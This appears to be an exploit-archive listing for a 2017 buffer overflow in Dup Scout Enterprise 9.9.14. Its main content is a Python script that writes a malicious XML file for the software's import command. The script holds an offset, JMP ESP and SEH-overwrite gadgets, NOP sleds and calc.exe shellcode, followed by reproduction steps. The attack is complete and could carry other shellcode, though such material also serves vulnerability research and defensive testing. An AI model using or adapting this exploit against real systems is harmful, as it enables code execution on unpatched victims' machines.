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Dup Scout Enterprise 9.9.14 Buffer Overflow

Dup Scout Enterprise 9.9.14 Buffer Overflow
Posted Aug 24, 2017
Authored by Anurag Srivastava

Dup Scout Enterprise version 9.9.14 import command buffer overflow exploit.

tags | exploit, overflow
MD5 | 0ffa85534d445e4ad068576855f303c1

Dup Scout Enterprise 9.9.14 Buffer Overflow

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#!/usr/bin/python

# Exploit Title : Dup Scout Enterprise v9.9.14 - 'Import Command' Buffer Overflow
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.com
# Website : www.pyramidcyber.com
# Discovery Date : 22/08/2017
# Software Link : http://www.dupscout.com/setups/dupscoutent_setup_v9.9.14.exe
# Tested Version : 9.9.14
# Tested on OS : Windows 7 Ultimate x64bit and Windows 10 Home Edition x64
# Steps to Reproduce: Run the python file to generate pyramid.xml and then open Dup Scout Enterprise software , right click and click on import command . Select pyramid.xml file .

import os,struct

#offset to eip
junk = "A" * (1560)

#JMP ESP (QtGui4.dll)
jmp1 = struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4c"

#JMP ESP
jmp2 = "\xFF\xE0"

#JMP Short
nseh = "\x90\x90\xEB\x05" #Jump short 5



#POP POP RET (libspp.dll)
seh = struct.pack('<L',0x10015FFE)


#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"


# FINAL PAYLOAD
evil = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 64 + nseh + seh + nops * 10 + shellcode


#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + evil + '\n</classify>'

f = open('pyramid.xml', 'w')
f.write(file)
f.close()

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